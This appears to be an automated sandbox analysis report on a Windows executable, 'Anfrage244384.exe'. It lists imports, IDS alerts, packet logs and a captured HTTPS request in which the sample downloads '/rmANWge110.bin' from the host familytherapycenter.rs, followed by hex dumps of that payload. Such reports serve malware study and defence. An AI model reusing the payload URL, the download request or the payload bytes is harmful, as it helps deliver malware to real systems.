                                                      RT_ICON0x9d7a00x94a8Device independent bitmap graphic, 96 x 192 x 32, image size 36864EnglishUnited States0.6664652091654404
                                                      RT_ICON0xa6c480x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16384EnglishUnited States0.6956188001889466
                                                      RT_ICON0xaae700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216EnglishUnited States0.6902489626556016
                                                      RT_ICON0xad4180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096EnglishUnited States0.724437148217636
                                                      RT_ICON0xae4c00x988Device independent bitmap graphic, 24 x 48 x 32, image size 2304EnglishUnited States0.7479508196721312
                                                      RT_ICON0xaee480x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024EnglishUnited States0.799645390070922
                                                      RT_DIALOG0xaf2b00x144dataEnglishUnited States0.5216049382716049
                                                      RT_DIALOG0xaf3f80x13cdataEnglishUnited States0.5506329113924051
                                                      RT_DIALOG0xaf5380x100dataEnglishUnited States0.5234375
                                                      RT_DIALOG0xaf6380x11cdataEnglishUnited States0.6091549295774648
                                                      RT_DIALOG0xaf7580xc4dataEnglishUnited States0.5918367346938775
                                                      RT_DIALOG0xaf8200x60dataEnglishUnited States0.7291666666666666
                                                      RT_GROUP_ICON0xaf8800x76dataEnglishUnited States0.7457627118644068
                                                      RT_VERSION0xaf8f80x2c8dataEnglishUnited States0.5084269662921348
                                                      RT_MANIFEST0xafbc00x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States0.5542168674698795

                                                      Imports

                                                      DLLImport
                                                      KERNEL32.dllSetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
                                                      USER32.dllScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
                                                      GDI32.dllSelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                      SHELL32.dllSHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
                                                      ADVAPI32.dllRegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
                                                      COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                      ole32.dllOleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

                                                      Possible Origin

                                                      Language of compilation systemCountry where language is spokenMap
                                                      EnglishUnited States

                                                      Network Behavior

                                                      Suricata IDS Alerts

                                                      TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                      2024-11-06T20:47:44.144304+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.12.23.50443192.168.2.549704TCP
                                                      2024-11-06T20:48:06.783619+01002803270ETPRO MALWARE Common Downloader Header Pattern UHCa2192.168.2.549792188.40.95.144443TCP
                                                      2024-11-06T20:48:24.573194+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.12.23.50443192.168.2.549855TCP

                                                      Network Port Distribution

                                                      TCP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Nov 6, 2024 20:48:05.435221910 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:05.435251951 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:05.435333014 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:05.567750931 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:05.567778111 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:06.463239908 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:06.463330984 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:06.513701916 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:06.513726950 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:06.514034986 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:06.514086962 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:06.516479969 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:06.559340000 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:06.783633947 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:06.783660889 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:06.783698082 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:06.783720970 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:06.783745050 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:06.783775091 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:06.901510954 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:06.901737928 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:06.922485113 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:06.922554016 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.041791916 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.041872978 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.064021111 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.064085960 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.159842014 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.159930944 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.182984114 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.183182955 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.279275894 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.279450893 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.301773071 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.301903009 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.398113966 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.398226023 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.420705080 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.420809984 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.516751051 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.516855955 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.539069891 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.539167881 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.635930061 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.636030912 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.657716990 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.657805920 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.658358097 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.658423901 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.757929087 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.758052111 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.776638985 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.776711941 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.876419067 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.876532078 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.895165920 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.895262003 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.896503925 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.896591902 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:07.995405912 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:07.995501995 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.014036894 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.014110088 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.097301960 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.097541094 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.114187002 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.114283085 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.132996082 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.133069038 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.216080904 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.216167927 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.233561993 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.233635902 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.251692057 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.251765966 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.351337910 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.351485014 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.351869106 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.351963043 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.370753050 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.370843887 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.457277060 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.457401991 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.470448971 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.470541954 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.489027977 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.489156008 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.489717007 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.489787102 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.489794016 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.489806890 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.489831924 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.489872932 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.499072075 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.499084949 CET44349792188.40.95.144192.168.2.5
                                                      Nov 6, 2024 20:48:08.499109030 CET49792443192.168.2.5188.40.95.144
                                                      Nov 6, 2024 20:48:08.499135971 CET49792443192.168.2.5188.40.95.144

                                                      UDP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Nov 6, 2024 20:48:05.344142914 CET5645053192.168.2.51.1.1.1
                                                      Nov 6, 2024 20:48:05.398108959 CET53564501.1.1.1192.168.2.5

                                                      DNS Queries

                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                      Nov 6, 2024 20:48:05.344142914 CET192.168.2.51.1.1.10xe21Standard query (0)familytherapycenter.rsA (IP address)IN (0x0001)false

                                                      DNS Answers

                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                      Nov 6, 2024 20:48:05.398108959 CET1.1.1.1192.168.2.50xe21No error (0)familytherapycenter.rs188.40.95.144A (IP address)IN (0x0001)false

                                                      HTTP Request Dependency Graph

                                                      • familytherapycenter.rs

                                                      HTTPS Proxied Packets

                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      0192.168.2.549792188.40.95.1444431892C:\Users\user\Desktop\Anfrage244384.exe
                                                      TimestampBytes transferredDirectionData
                                                      2024-11-06 19:48:06 UTC181OUTGET /rmANWge110.bin HTTP/1.1
                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
                                                      Host: familytherapycenter.rs
                                                      Cache-Control: no-cache
                                                      2024-11-06 19:48:06 UTC320INHTTP/1.1 200 OK
                                                      Date: Wed, 06 Nov 2024 19:48:06 GMT
                                                      Server: Apache
                                                      Upgrade: h2,h2c
                                                      Connection: Upgrade, close
                                                      Last-Modified: Wed, 06 Nov 2024 10:34:28 GMT
                                                      Accept-Ranges: bytes
                                                      Content-Length: 287296
                                                      Cache-Control: max-age=172800
                                                      Expires: Fri, 08 Nov 2024 19:48:06 GMT
                                                      Content-Type: application/octet-stream
                                                      2024-11-06 19:48:06 UTC7872INData Raw: 3a be 61 a9 c6 fb e0 8a af e8 81 83 d1 22 ba 7d 5e 08 16 53 df fc 65 1f f6 f0 3b f3 6c 9d 1b 7e a7 25 e6 38 0e b8 ee 17 cc 30 ec 50 53 ea fd d5 a8 46 40 1f 09 4e a7 6d 0a 75 93 f0 2d 3c ed d1 86 ab d7 aa 7c a2 31 d7 06 b4 05 72 e7 0f 74 9f 40 4e c9 b1 77 dc d7 36 3a 82 90 3b 5d b0 3d e5 16 b9 8d 83 d1 02 fc 36 b0 e8 4e 34 f7 d7 11 bd c7 9d 59 ff 53 3b 9f c7 05 3a 2d 28 5e 68 3d 12 b8 00 99 89 a9 ca fe e2 04 c7 ef 56 89 d7 23 ea 84 1d 4e 0f 27 2a f1 56 3e bf 86 df 11 96 73 23 1c d0 13 d8 6a e7 bb 55 45 1b c6 67 83 ef 87 d4 a3 95 f8 66 aa 16 5d 3f 46 ef b7 b3 f7 17 23 da 16 ae 6f a7 65 d1 20 7c d9 ee 78 84 2e 91 ed bf 3a 28 5f 40 ae 1a 66 d7 bd 8a dd 3a 15 d0 b4 6b 0c 55 3f eb 0c e8 dd 0b 24 b4 b4 4a c7 8c 02 bf 2f a5 19 7b 40 c1 53 96 d7 61 b3 f4 c6 0a 8e
                                                      Data Ascii: :a"}^Se;l~%80PSF@Nmu-<|1rt@Nw6:;]=6N4YS;:-(^h=V#N'*V>s#jUEgf]?F#oe |x.:(_@f:kU?$J/{@Sa
                                                      2024-11-06 19:48:06 UTC8000INData Raw: 10 d0 25 af 37 6b cf 8e 14 77 9f 03 47 94 c3 bb 6c 9d 13 b9 ba 22 ca 05 09 13 3c e5 8c 94 57 e1 75 b1 85 f5 df 3c 1c f5 b2 c4 48 36 2e 7b f5 8e 94 6a 3d da 88 42 68 e3 f9 14 51 31 b8 b4 f6 a5 02 db c3 99 1d 67 65 fd 99 d0 99 b4 6a ce 56 ef 2c 4d 5c 00 e4 a0 97 58 b4 35 22 89 65 20 59 c0 96 37 d1 ff 19 4e 33 bf ef 16 b9 7d af 83 74 47 aa 9b 57 5c 8b 2e 39 2d 07 7e 45 2a 46 1e 88 7e 70 e0 f7 5c 84 1c dd a5 3f 65 bd 48 2e e6 db 88 89 4f 6c 0d 07 d3 26 b4 c7 53 fb 3b c4 48 2d 7c e1 99 82 0c 80 5c c4 c7 a7 f9 50 d4 1f f7 70 9d c2 2d 3c f4 6c 2c cb 5b 84 e3 42 9a f1 68 87 e2 ce 8f de b6 87 c7 82 eb 0e 48 e6 0b 3c f5 fc 94 69 b7 85 dd 2d de e2 1d 7f 04 8a 28 2c c7 51 4c 41 ef c4 0d ea 09 94 b0 c1 1d d8 eb c7 5d 70 fc c9 af 10 d9 af cb 24 64 ca c6 de b9 d7 74 73
                                                      Data Ascii: %7kwGl"<Wu<H6.{j=BhQ1gejV,M\X5"e Y7N3}tGW\.9-~E*F~p\?eH.Ol&S;H-|\Pp-<l,[BhH<i-(,QLA]p$dts
                                                      2024-11-06 19:48:06 UTC8000INData Raw: 3a 7d b1 7c 4b ab ea 21 59 7e 77 d4 15 c5 b3 21 64 de 6a 66 c5 89 c0 a4 bc 6b be 87 85 2d 42 b8 ff 3e a8 f7 d6 22 d2 ae 93 dc 06 2e ef 56 6d 4c d3 bf eb 9f e3 5a 71 61 05 cd 0a 5a 55 48 09 7f 50 c2 07 14 5b 91 ed 33 42 70 28 c1 0f 0d ca 49 fc 47 61 75 66 aa cf 52 3b f7 c8 e8 42 84 64 60 d3 2c 50 de a3 50 f8 2b 1c c7 e9 a3 c8 38 b6 01 22 fc f5 d7 e4 d3 8e 20 28 51 0f 82 c2 1b 5c f2 87 a4 5d 29 99 bf e5 e1 06 41 c3 8b 15 5c 06 d1 1f 41 a5 e6 7d ef 19 ee 61 8d 93 f7 9f 48 98 ec 81 cd 8b f5 a8 13 73 35 0b 74 86 77 f1 d0 16 b4 b8 86 d5 46 86 24 0c 5c c0 3c a4 bf cd c5 e3 39 65 17 ae da d1 7b 9c 41 a3 e5 d5 1c 5d db 2a 0f 9f a8 9a d1 0a b6 5a f4 40 61 a4 82 e4 45 c4 81 c4 d0 03 ed 3a 97 2c c0 8c ad df 49 0b 8c a1 3a 1f 51 7f bb 98 23 bf 24 6a 57 77 96 95 4f 92
                                                      Data Ascii: :}|K!Y~w!djfk-B>".VmLZqaZUHP[3Bp(IGaufR;Bd`,PP+8" (Q\])A\A}aHs5twF$\<9e{A]*Z@aE:,I:Q#$jWwO
                                                      2024-11-06 19:48:07 UTC8000INData Raw: 08 9b 4d b3 39 b0 2f b2 0c 5a bf 7d 2c 09 0d 33 d5 ef e7 6b 0c 6d 59 29 59 20 82 e3 f7 45 06 28 69 3b 2e 8f 17 40 6d 55 e1 f6 fb d1 0e 2f 37 35 a9 f4 54 8d 77 07 54 e6 24 43 d4 f6 e3 ed d3 12 a3 60 12 79 ee e5 53 6e f6 6b 76 a3 4c 08 11 ae 26 19 1c 83 b3 18 f2 d0 b9 ba da d4 3d fe e8 92 fa b3 59 21 a6 4e 54 c0 fc fa 30 13 fa 13 a3 a6 b2 2f ef 15 04 85 84 b9 d4 52 d5 a6 b3 14 55 79 b6 53 77 c7 31 f9 15 59 12 45 5f 2a 52 8a 49 f4 9c 69 bb 90 c3 b3 0a d7 b4 62 a1 8f 52 b7 06 cb b8 df 7a c8 f9 cc b6 f1 f7 f0 9d fc f2 b8 58 6b f0 70 cf f0 b3 af 97 e0 bd ec ea 05 c3 e5 51 6f 55 09 9e dc 8e 98 4d c4 c0 13 29 cd 02 71 eb 2f fb e6 b8 e1 1a ea 3c dc 9d 88 b1 02 5b 05 a4 7f bc 81 0c de 74 f4 f7 be b6 7c 3a da 4a 25 4b cf d5 8b e6 e9 1e cf 3d c1 34 41 1f 7e 0e 71 2a
                                                      Data Ascii: M9/Z},3kmY)Y E(i;.@mU/75TwT$C`ySnkvL&=Y!NT0/RUySw1YE_*RIibRzXkpQoUM)q/<[t|:J%K=4A~q*
                                                      2024-11-06 19:48:07 UTC8000INData Raw: 34 65 de 85 4c 5e 3e 68 39 4c 2c cb de d1 6a be 0c 33 41 b4 0d 0a 15 e7 d8 86 af 6a 6b c3 ab 21 0c 16 93 d4 da a5 34 8c be b8 e4 22 26 db 1b 13 f7 b9 11 1a 0f 67 ab e6 9f e1 59 ab 93 29 85 13 a7 46 33 67 87 90 a2 12 d7 43 46 37 55 6c 9d 2d ad 84 2f 49 68 85 c5 4b 36 89 75 77 e7 7c 65 86 a3 54 1e 93 f9 09 7b 24 41 f0 4e 6a 8d 50 69 c3 fa 93 46 b9 72 b1 69 e3 0a e7 e0 fb 99 f4 1f b0 00 89 d6 76 6c db cb 13 80 0f 67 9b 81 b9 0a 61 a1 93 8b ef 54 5b 82 69 cb 65 c7 0c d1 ea 53 ef 4c 5a 79 fc af ab d4 97 e5 a9 8a 0b 3f e5 43 8e 55 ee 08 e8 9e d8 10 89 12 ad 83 0f e7 9f d0 f5 52 30 6a d1 c5 66 70 2d 85 5f 30 53 c9 be 83 1e 77 ad 22 1c 17 65 e1 ec f0 0b e4 35 02 5a 72 69 3e 8d 0f 05 b0 66 ef df 88 7b 08 4c de 1c 22 01 62 c5 dd a9 da 44 19 bb 56 cd b4 fb e5 e5 ff
                                                      Data Ascii: 4eL^>h9L,j3Ajk!4"&gY)F3gCF7Ul-/IhK6uw|eT{$ANjPiFrivlgaT[ieSLZy?CUR0jfp-_0Sw"e5Zri>f{L"bDV
                                                      2024-11-06 19:48:07 UTC8000INData Raw: f2 c2 d6 45 db 64 0d 42 78 eb 4a 00 25 f1 c7 e1 a7 4e de 7b 04 55 93 e8 4f 2a 64 81 ac e1 d4 dc 79 6f 9c 36 7b 66 45 7c c0 58 31 9e 8b e6 dc 7b 89 33 84 80 74 78 d5 23 81 91 ea bc 63 6d 15 8e a8 c8 51 00 98 5f 77 4d 43 b4 49 f5 14 e7 a7 27 4f fb 5c dd 1b 61 b4 dd ea 33 6f a1 7c ca c3 de 6d 3f 0a 78 bd 1b 06 9c 32 94 5c c2 37 eb 3b c6 19 56 30 0b 68 71 73 b1 a3 fb 65 08 40 ea f8 75 b8 66 68 ab ac 33 08 f8 92 61 0c 05 30 34 46 8b f8 26 a1 de 25 b2 04 a1 fa e1 cb 00 48 b9 15 0a 00 ec a6 fc e4 4c 81 cf 9a c8 05 54 24 8b 54 7e 6b c2 1e c9 4c ec 0e 1e 2f c3 f9 c0 17 1c e5 13 c3 7a a0 97 a4 b6 2f 78 b2 e4 33 ea 0f 86 87 18 2d 29 03 c1 59 bb 9e a3 bc 5c 17 10 cc 46 3a 32 bf c3 ba c0 f2 4c 48 56 db 26 ee 58 23 7c 2c b1 9e 6b 9b 4d aa b8 e2 21 04 36 fb 50 92 5b 4b
                                                      Data Ascii: EdBxJ%N{UO*dyo6{fE|X1{3tx#cmQ_wMCI'O\a3o|m?x2\7;V0hqse@ufh3a04F&%HLT$T~kL/z/x3-)Y\F:2LHV&X#|,kM!6P[K
                                                      2024-11-06 19:48:07 UTC8000INData Raw: 03 a6 7d 3a bd c3 03 84 e4 f2 92 73 8a 5e 05 40 18 49 09 eb 64 45 fe aa 18 f8 0e b3 c5 2b b5 64 0f 57 84 ff 16 7c dc 8f f4 9d f5 7d 06 5d 3a 50 b0 59 d7 3f 19 60 dc 9d 38 33 23 8d 68 cc 7e 7e 34 52 b1 60 95 64 4a 75 36 29 f3 53 d1 a5 27 75 e2 9f cd 8d 06 d9 48 36 cf 5f 08 24 71 b5 c7 04 43 8b ab 90 94 50 30 41 8a 05 64 5a 98 15 12 d4 7b e8 92 98 15 fd 2f 92 b2 ef d5 db 6b 7f c3 b4 b6 e6 e6 be a5 f8 d9 6e d8 86 07 d1 97 b6 b4 da 71 0f 88 41 39 93 65 a2 c8 af 4d 75 c3 9e 2e 49 f5 91 5c d5 44 21 45 c1 08 e5 71 bf 7c f7 9c 31 a6 60 89 34 ee dc 00 71 80 b8 c4 e9 67 82 e8 0d 83 cc c2 f6 4e 23 8b 7b 6c c9 17 3b da 54 b9 57 99 7f 51 42 34 8e d9 ee fd 81 c2 7b ef 28 b1 b6 b6 ed fd 9b 71 e7 0f c9 83 03 ba e2 6f 16 c0 6b 1b 90 48 f6 02 dc a1 95 3f 9c 5a 95 61 9b 86
                                                      Data Ascii: }:s^@IdE+dW|}]:PY?`83#h~~4R`dJu6)S'uH6_$qCP0AdZ{/knqA9eMu.I\D!Eq|1`4qgN#{l;TWQB4{(qokH?Za
                                                      2024-11-06 19:48:07 UTC8000INData Raw: fc a7 40 f9 e6 ad 33 03 16 89 e1 93 ee e1 dd db 69 cc 4f 25 4e de 1b d2 d0 28 8e dd e2 e9 9e b4 e3 18 ef 1c a8 5c 9a a8 7d d5 81 0e 49 7c a7 00 95 28 14 e8 7a 70 32 f5 d6 b3 b8 f0 65 8a 71 ab 6e 06 b3 f2 e7 d0 10 9a b9 04 83 e2 18 6d d6 8d 87 3f 96 cb 5e d7 36 29 6f 91 76 59 b5 b1 92 8f e0 c1 ce ba d5 47 1f c4 ce 38 3e 40 8b be 5c 09 a6 2d ad b8 ed a3 4d e6 d5 38 db 16 70 fc 38 e5 05 f0 bd 7c 4e 27 eb db 32 3a c7 1c ce 13 08 06 73 8c 1f 6e 1b d2 59 54 82 32 d6 1f e7 cc 0c e1 79 bf 3d 0d 80 f8 e7 d7 35 09 f6 40 5f 3a 64 6e 2c c7 18 c8 55 58 fa 49 47 90 8d 61 03 ab 31 5a 89 65 e8 14 bb 4c 0a 99 8c 22 d1 6b 54 94 04 a8 95 63 c6 85 e2 c0 87 5d 5f fa 8a 34 55 37 87 8a e6 15 ee e2 c6 d7 0f 00 f1 d2 eb 40 e0 0a 51 02 4d 07 b5 4b 7c c4 af 8b 3e 93 f3 9e 3c 06 fa
                                                      Data Ascii: @3iO%N(\}I|(zp2eqnm?^6)ovYG8>@\-M8p8|N'2:snYT2y=5@_:dn,UXIGa1ZeL"kTc]_4U7@QMK|><
                                                      2024-11-06 19:48:07 UTC8000INData Raw: 7d 32 62 f7 23 30 66 a8 6f 3a 06 59 9e 33 6c ee 2a 8f 98 2e fc a8 fd 53 97 e4 17 fa b3 a5 2f a1 99 ff 1e 1f e7 86 38 6d 97 f5 30 ea e5 75 71 17 d1 cc 6b 08 f2 76 5f 44 4e 39 51 a7 27 fb 59 d3 97 24 b2 aa b4 23 59 ec 33 a0 74 ad 7d d6 e5 5b bd 3f f8 a3 8c d9 77 58 48 f8 d9 bf f7 1e 09 2e d9 46 54 96 32 da d5 a2 f9 80 d8 47 48 08 35 01 19 fb b9 64 44 15 ad 62 7e ee 9c 2b 7d d2 f3 2b 75 31 18 d2 bd c4 58 5e b5 68 a9 d1 9d 75 a9 67 94 32 19 45 4a da 78 71 f9 db 7e f7 e5 5c 97 2d 39 83 37 fc 31 74 e1 6c ed 03 c1 5f 0c cf 8e 6f 7c 7c 32 0e 28 3c 42 51 9e 74 72 f4 8c 84 01 c4 90 fd 33 5c 92 7b 84 7a 47 cc a4 18 3a 6c a9 b4 bb eb 90 62 1e dc b6 ab 1a 7d 21 03 7f ce 7b 13 fd 7e de 56 de eb 2b 9d 45 e8 a7 3c c7 2b 39 49 d8 50 c3 46 c3 b1 49 08 0d 00 2d f5 6d 83 43
                                                      Data Ascii: }2b#0fo:Y3l*.S/8m0uqkv_DN9Q'Y$#Y3t}[?wXH.FT2GH5dDb~+}+u1X^hug2EJxq~\-971tl_o||2(<BQtr3\{zG:lb}!{~V+E<+9IPFI-mC
